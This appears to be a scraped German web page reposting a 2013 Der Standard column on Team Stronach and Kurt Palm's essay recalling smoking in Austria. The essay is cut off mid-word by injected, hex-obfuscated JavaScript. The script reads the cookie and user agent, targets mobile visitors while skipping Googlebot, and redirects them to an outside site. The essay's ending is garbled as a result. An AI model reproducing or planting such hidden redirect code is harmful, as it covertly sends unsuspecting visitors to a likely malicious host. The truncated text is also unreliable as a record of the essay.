Villa For Forest

Rau – Rauscher – Rauchzeichen

Stronach
mit dabei

EINSERKASTL |HANS
RAUSCHER,
24. Mai 2013, 18:52

So ist das bei Sekten: Der
Guru befiehlt, die Anhänger folgen

Also
Stronach mit dabei. Zumindest in Salzburg. Wenn es nicht doch noch schiefgeht.
Die Salzburger Grünen haben „Bauchweh“ mit der Einbeziehung, hätten
lieber die SPÖ mit drin gehabt. Aber ehrlich, so abgewirtschaftet, wie Gabi
Ahnungslos und Genossen haben – das sollte echt nicht mit einer
Regierungsbeteiligung belohnt werden. Gut, die ÖVP war auch irgendwie dabei –
der Herr Hofrat Paulus darf jetzt in die güldene Beamtenpension – aber
Ressortverantwortung ist eben Ressortverantwortung.

Bleibt
die Sache mit Stronach. ÖVP-Haslauer mag sich denken, der hiesige Statthalter
von Stronach war früher eh bei der ÖVP (die Stronachianer waren alle früher
irgendwo), der hat noch ein bisserl von unserem Stallgeruch, den richten wir
uns schon her. Aber das Team Stronach ist halt doch letztlich nur eine Sekte
mit Guru Frank an der Spitze. Und wenn Gurus ihren Anhängern befehlen, über die
nächste Klippe zu springen, dann tun die das auch.

Deshalb
wäre auch die Bundes-ÖVP gut beraten, irgendwelche Planspiele, in denen Stronach
eine tragende (mehrheitsbeschaffende) Rolle spielt, sehr, sehr gut zu
überlegen. Stronach erfüllt eine wichtige Funktion in der momentanen
politischen Landschaft. Er zieht das querulatorische Element von der FPÖ ab.
Aber damit hat es sich auch schon. Eine Bundesregierung, in der er eine
kontrollierende Beteiligung hält, ist dem Untergang geweiht.

(Hans Rauscher, DER STANDARD, 25.5.2013)

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ESSAY |KURT PALM,26. Mai 2013,
17:57
Rauchzeichen

„Soweit
ich mich erinnere, wurde in meiner Kindheit und Jugend eigentlich überall
geraucht, ausgenommen vielleicht in der Kirche …“, so Kurt Palm.

Am 31. Mai ist wieder
Weltnichtrauchertag. Ex-Raucher Kurt Palm erinnert sich sehr gerne an eine
Zeit, bevor das Rauchen unpopulär wurde

Wann ich zum ersten Mal Zigarettenrauch eingeatmet habe,
weiß ich nicht mehr. Allerdings bin ich mir sicher, dass es sehr früh gewesen
sein muss. Sehr früh heißt: in meinen ersten Lebensmonaten. Ich vermute das
deshalb, weil in meiner Umgebung viel geraucht wurde. Und daran änderte auch
die Anwesenheit eines Babys nichts.

Rauchen: Eine männliche Domäne

Später ist mir dann aufgefallen, dass eigentlich nur die
Männer geraucht haben. Rauchende Frauen gehörten in meiner Kindheit zu einer
verschwindend kleinen Minderheit, die mit dem Akt des Rauchens einen Tabubruch
begingen. Wie das Trinken, das Kartenspielen oder das Autofahren war das
Rauchen Ende der Fünfziger-, Anfang der Sechzigerjahre eine fast ausschließlich
männliche Domäne. Frauen wurden bestenfalls zu Passivraucherinnen degradiert.

Familiäre Zusammenkünfte an den Wochenenden waren ohne
zigarettenrauchende Männer undenkbar. Dass in den Wohnungen geraucht wurde, war
selbstverständlich. Kein Mensch wäre damals auf die Idee gekommen, zum Rauchen
nach draußen zu gehen. Heute ist es genau umgekehrt. Als ich kürzlich bei
Bekannten eingeladen war, dachte sich niemand etwas dabei, als der Gastgeber
nach dem Essen zu seiner Zigarettenpackung griff und mit den Worten – „I
rauch g““schwind ane“ – auf den Balkon verschwand.

Raucher als asoziale Wesen

Die Stigmatisierung der Raucher als asoziale Wesen wird also
in vorauseilendem Gehorsam bereits in den eigenen vier Wänden praktiziert.
Wobei in diesem Zusammenhang eine interessante Beobachtung zu machen ist:
Während im privaten Bereich die Raucher ihrer Leidenschaft, ihrer Sucht oder
ihrem Laster – je nach Betrachtungsweise – oft versteckt nachgehen, findet im
öffentlichen Raum quasi eine Umkehrung statt. Auf Flughäfen oder Bahnhöfen, um
nur zwei besonders krasse Beispiele zu nennen, werden Raucherinnen und Raucher
für alle sichtbar in Glaskojen zur Schau gestellt, wobei diese Art der
Zurschaustellung sicher ganz bewusst an Zoos erinnern soll.

Der Raucher wird auf diese Weise zu einer Art Outlaw erklärt
und steht damit im Gegensatz zu jenem Abenteurer, ohne den die
Zigarettenwerbung der 1970er- und 1980er-Jahre nicht vorstellbar wäre. Während
der berühmte Marlboro-Cowboy mit jedem Zigarettenzug der grenzenlosen Freiheit
ein Stück näher kam, verliert der Raucher heute mit jedem Zug ein Stück seiner
Freiheit.

Immer einen Freund

Aber selbstverständlich hatte die Werbung auch für
diejenigen, die nicht gerne alleine auf Abenteuertrip gehen wollten, den
richtigen Spruch parat. So lautete der Slogan für die Johnny-Zigaretten:
„Mit Johnny hast du immer einen Freund, mit Johnny bist du nie
allein.“

In meiner Erinnerung ist das Rauchen untrennbar mit einem
Medium verbunden, das nicht wenig zur Popularität der Zigarette beigetragen
hat: dem Fernsehen.

Da meine Großeltern in unserer Verwandtschaft die Einzigen
waren, die ein Fernsehgerät besaßen, entwickelte sich deren Küche vor allem an
den Wochenenden zum Zentrum für familiäre Zusammenkünfte. Wenn samstags spät in
der Nacht ein Western gezeigt wurde, trafen sich bereits am Abend mein
Großvater, mein Vater und zwei Onkel, um sich mit einem Viererschnapser auf den
Film einzustimmen. Dass dabei geraucht wurde, versteht sich von selbst. Ob das
Passivrauchen den anwesenden Kindern schaden könnte, interessierte zu dieser
Zeit – zumindest in Timelkam – keinen Menschen. Aber dafür, dass wir um 22 Uhr
einen Western sehen durften, nahmen wir sogar das Passivrauchen in Kauf.

Untrennbar mit dem Fernsehen verbunden

Ähnliches galt übrigens für den weiblichen Teil der
Verwandtschaft, wenn Hans-Joachim Kulenkampffs Quizsendung „Einer wird
gewinnen“ auf dem Programm stand. An solchen Abenden versammelten sich
dann bis zu fünfzehn Personen in der kleinen Küche meiner Großeltern, und die
Stimmung war entsprechend ausgelassen.

Die Männer spielten Karten und rauchten, die Frauen sprachen
über das Kochen, und die Kinder schrien, stießen Weingläser um oder
zerbröselten Soletti-Stangerln auf dem Teppich. Dabei konnte es dann schon
einmal vorkommen, dass meine Großmutter mit den Worten „Machts nicht so
einen Lärm! Was wird sich denn der Kulenkampff von uns denken!“ wieder für
Ruhe sorgte.

Rauchen im Flugzeug

Soweit ich mich erinnere, wurde in meiner Kindheit und
Jugend eigentlich überall geraucht, ausgenommen vielleicht die Kirche, wobei es
in Timelkam einen Mesner gab, der immerhin in der Sakristei rauchte. Selbst im
alten Krankenhaus von Vöcklabruck gab es in jedem Stockwerk eine Raucherecke,
wobei diese Ecke auf der Lungenstation besonders skurril anmutete. Heute ist
das genauso unvorstellbar wie die Tatsache, dass man bis vor gar nicht so
langer Zeit noch in Flugzeugen rauchen konnte.

Ich erinnere mich an einen Tarom-Flug von Wien nach New York
– Tarom war die staatliche rumänische Fluglinie – , während dem ich acht
Stunden lang zwischen zwei kettenrauchenden Polen saß. Diesen Flug werde ich
aber auch aus einem anderen Grund nicht vergessen: Bei der Ankunft in New York
waren die Stewardessen und die Piloten derart betrunken, dass die Maschine zwei
Stunden lang auf dem Rollfeld warten musste. Erst nachdem man einen
Ersatzpiloten aufgetrieben hatte, konnte die Maschine die letzten paar hundert
Meter bis zum Gate zurücklegen. Die links und rechts von mir sitzenden Polen
vertrieben sich die Wartezeit natürlich damit, dass sie eine Zigarette nach der
anderen pafften.

Eine gigantische Summe

Dadurch, dass ich als Kind nur Männer sah, die rauchten, war
für mich klar, dass ich als Erwachsener ebenfalls rauchen würde. Die Frage war
nur: Ab wann war man alt genug, um rauchen zu dürfen? In diesem Zusammenhang
befand sich die Gesellschaft in einem argen Dilemma: Auf der einen Seite wurde
in Zeitungen, auf Plakatwänden, im Kino, im Fernsehen und im Radio hemmungslos
für Zigaretten geworben, auf der anderen Seite versuchten Eltern ihre
heranwachsenden Kinder davon zu überzeugen, dass das Rauchen eigentlich doch
kein erstrebenswertes Ziel wäre.

Finanzen vor Gesundheit

Als Hauptargument wurde dabei weniger der gesundheitliche
als vielmehr der finanzielle Aspekt ins Treffen geführt. Ich erinnere mich an
Abende, an denen wir Kinder von unseren Eltern angehalten wurden, uns
auszurechnen, wie viel wir uns ersparen würden, wenn wir bis zu unserem 80.
Lebensjahr nicht rauchen würden.

Am Ende kam immer eine derart gigantische Summe heraus, dass
wir nicht verstehen konnten, weshalb mein Vater, meine Großväter, meine Onkel
und auch sonst die meisten männlichen Erwachsenen in unserem Umfeld, ständig
eine Zigarette im Mund hatten. Hätten sie ihr Geld nicht für Zigaretten
ausgegeben, sondern auf ein Sparbuch gelegt, hätte eigentlich jeder von ihnen
längst Millionär sein müssen.

Einschränken muss ich an dieser Stelle allerdings, dass mein
Vater nur selbstgedrehte Zigaretten rauchte, die erheblich billiger waren als
Markenzigaretten. Zum Leidwesen meines Vaters versuchten wir Kinder irgendwann
ebenfalls, Zigaretten zu drehen. Heraus kamen dabei meist unförmige Gebilde,
die mein Vater dann in mühevoller Kleinarbeit wieder zerbröseln musste, um
wenigstens den Tabak zu retten.

Die erste Zigarette als Initiationsritus

Irgendwann um meinen zwölften Geburtstag herum wurde der Drang,
endlich selbst einmal eine Zigarette zu rauchen, so stark, dass ich mit einigen
Freunden beschloss, den ersten Zug zu wagen. Durch diesen Initiationsritus
wollten wir in die Welt der Erwachsenen aufgenommen werden, was diese aber
natürlich nicht wissen durften. Da es in Timelkam nur eine Tabak-Trafik gab und
das Ehepaar Angelmaier alle Kinder im Ort kannte, blieb uns gar nichts anderes
übrig, als uns unsere Tschick selbst zu basteln. Also schnappten wir uns unsere
Fahrräder und fuhren in die Au, wo wir uns am Ufer eines kleinen Baches
niederließen, um aus Lianen Zigaretten herzustellen.

Welches Papier wir verwendeten, weiß ich nicht mehr, aber
ich weiß noch, dass der von uns allen seit langem herbeigesehnte Tag der ersten
Zigarette gehörig in die Hosen ging. Und das im wahrsten Sinn des Wortes. So,
wie wir es in diversen Abenteuerfilmen gesehen hatten, zerkleinerten wir mit
unseren Taschenmessern trockene Lianenfasern und versuchten diese in die
mitgebrachten Papiere einzudrehen. Irgendwann hatten wir ein paar Objekte
zwischen unseren Fingern, die zumindest entfernt an Zigaretten erinnerten.

Verdauungszigarette aus Lianen

Das Zeug, das wir rauchten, schmeckte allerdings nicht nur
grauenhaft, sondern stank auch fürchterlich. Aber da wir als Abenteurer nicht
schlappmachen durften, rauchten wir die Lianenzigaretten tapfer zu Ende. Zu
Hause angekommen, führte uns der erste Weg dann schnurstracks auf die Toilette,
wo wir zum ersten Mal am eigenen Leib spürten, was das Wort Verdauungszigarette
auch bedeuten kann.

Aber da auch in diesem Fall galt, dass Rückschläge dazu da
sind, um überwunden zu werden, war klar, dass wir irgendwann unsere erste
richtige Zigarette rauchen würden. Gemäß dem Grundsatz: Man muss die erste
überstehen, wenn man ein richtiger Raucher werden will.

Die richtige Marke

Nach dem Erreichen des achtzehnten Lebensjahrs verlor das
Rauchen für mich interessanterweise ein wenig an Reiz. Bedeutete das Rauchen
bis dahin die Übertretung einer Norm, ging es jetzt eher darum, zu zeigen, dass
das Rauchen ein sinnliches Vergnügen war. Zu diesem Zweck musste man nicht nur
die richtige Marke rauchen, sondern durch die entsprechende Rauchtechnik auch
zeigen, dass man kein blutiger Anfänger war.

Die intensivste Rauchphase meines Lebens war ident mit
meiner Studentenzeit in Salzburg. Soweit ich mich erinnere, wurde damals
praktisch immer und überall geraucht, wobei in der Zwischenzeit insofern eine
kleine Revolution stattgefunden hatte, als es jetzt selbstverständlich war,
dass auch die Frauen rauchten.

Beuschelreißer geschmuggelt

Da ich in meiner Studentenzeit sehr viel gereist bin, war es
nicht unwichtig, welche Zigaretten man in den jeweiligen Ländern rauchte. In
Frankreich rauchte man zum Beispiel nur gelbe Gitanes oder Gauloises, in
Italien MS, in der DDR Karo, in der Sowjetunion Papirossi, in der BRD Camel und
in Jugoslawien F 57.

Die F 57 waren übrigens der Grund, weshalb ich Anfang der
Achtzigerjahre mit dem Rauchen wieder aufgehört habe. Und das kam so: Am Ende
eines dreiwöchigen Istrien-Urlaubs beschlossen meine damalige Freundin und ich,
die Gunst der Stunde zu nutzen und zehn Stangen F 57 nach Österreich zu
schmuggeln. Da wir neben den Zigaretten auch noch dreißig Liter Rotwein im Auto
versteckt hatten, war klar, dass eine Zollkontrolle unseren finanziellen Ruin
bedeutet hätte.

Zu unserem großen Glück winkten uns die Zöllner aber durch,
was wiederum zur Folge hatte, dass in den folgenden Wochen unsere
Haupttätigkeit im Zigarettenrauchen und Rotweintrinken bestand. Da die F 57
filterlose Zigaretten waren und rasch austrockneten – es handelte sich dabei
also um richtige Beuschelreißer – und der Wein in Fünf-Liter-Gallonen abgefüllt
war, mussten wir praktisch permanent rauchen und trinken.

Seit dreißig Jahren Nichtraucher

Irgendwann ist mir von den F 57 und dem qualitativ nicht
gerade hochwertigen Rotwein aber so schlecht geworden, dass ich eine
richtiggehende Aversion gegen das Rauchen entwickelte. Die Aversion gegen das
Rauchen (von Zigaretten, nicht von Joints) ist geblieben, die Aversion gegen
das Weintrinken zum Glück nicht.

Globale Anti-Raucher-Kampagnen

Trotz der Tatsache also, dass ich seit mittlerweile dreißig
Jahren Nichtraucher bin, lehne ich die globalen Anti-Raucher-Kampagnen und die
weltweit grassierenden Rauchverbote ab. Auch die Warnhinweise auf den
Zigarettenpackungen, denen eine gewisse Penetranz nicht abzusprechen ist, finde
ich eher komisch als hilfreich.

– Rauchen kann zu einem langsamen und schmerzhaften Tod
führen.

– Rauchen kann zu Durchblutungsstörungen führen und
verursacht Impotenz.

– Rauchen kann die Spermatozoen schädigen und schränkt die
Fruchtbarkeit ein.

– Rauch enthält Benzol, Nitrosamine, Formaldehyd und
Blausäure.

Weltnichtrauchertag seit 1987

Nicht genug damit, hat die Weltgesundheitsorganisation WHO
im Jahr 1987 den Weltnichtrauchertag ins Leben gerufen, der jährlich am 31. Mai
„gefeiert“ wird. Um diesem Tag etwas mehr Pepp zu geben, steht er
jedes Jahr unter einem anderen Motto.

– Sportler und Künstler raucvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}